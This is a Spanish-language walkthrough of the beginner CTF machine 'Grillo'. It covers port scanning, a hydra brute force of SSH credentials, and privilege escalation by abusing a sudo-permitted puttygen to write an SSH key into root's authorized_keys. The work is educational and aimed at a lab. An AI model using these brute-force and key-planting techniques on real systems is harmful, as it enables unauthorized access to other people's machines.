Resolución del CTF GRILLO
Introducción
Hoy exploraremos la máquina CTF Grillo, diseñada para introducirnos al mundo del hacking ético y la resolución de retos.
- Nivel de Dificultad: Principiante.
- Creadores: CuriosidadesDeHackers y Condor.
- Más detalles en The Hacker’s Labs.
- Sistema Operativo: Linux.

Información Inicial
Descargamos la máquina y la configuramos en VirtualBox.
La IP asignada es 192.168.10.129.

Realizamos un escaneo completo para identificar puertos abiertos:
sudo nmap -p- --open -sS --min-rate 5000 -vvv 192.168.10.129 -oG grillo
Resultados:
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
A continuación, ejecutamos un escaneo detallado:
sudo nmap -p22,80 -sCV 192.168.10.129 -oG grillo-ports
Resultados detallados:
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.57 ((Debian))
Análisis Inicial
Accedemos al puerto 80 y encontramos una página estándar de Apache2 Debian. En el pie de página, un comentario revela un posible nombre de usuario: melanie.

Fuerza Bruta en SSH
Con el usuario melanie
, realizamos un ataque de fuerza bruta para descubrir su contraseña usando hydra
:
hydra -l melanie -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.129
Resultados:
[22][ssh] host: 192.168.10.129 login: melanie password: trustno1
Acceso Inicial: Usuario melanie
Nos conectamos al servidor con las credenciales obtenidas:
ssh [email protected]
Exploramos su directorio personal y encontramos la primera flag:
melanie@grillo:~$ ls
user.txt
¡Primera flag conseguida!
Escalada de Privilegios
Revisamos los privilegios sudo del usuario melanie
:
sudo -l
Resultados:
User melanie may run the following commands on grillo: (root) NOPASSWD: /usr/bin/puttygen
Utilizamos puttygen
para generar una clave privada RSA:
puttygen -t rsa -o id_rsa -O private-openssh
Ajustamos los permisos de la clave privada:
chmod 600 id_rsa
Preparamos la clave pública y la añadimos al archivo authorized_keys
de root:
sudo /usr/bin/puttygen id_rsa -o /root/.ssh/authorized_keys -O public-openssh
Finalmente, nos conectamos como root usando la clave generada:
ssh -i id_rsa [email protected]
root@grillo:~#
root@grillo:~# ls
root.txt
Conclusión
Tras obtener acceso root, encontramos la segunda flag en el directorio /root
. ¡Reto completado!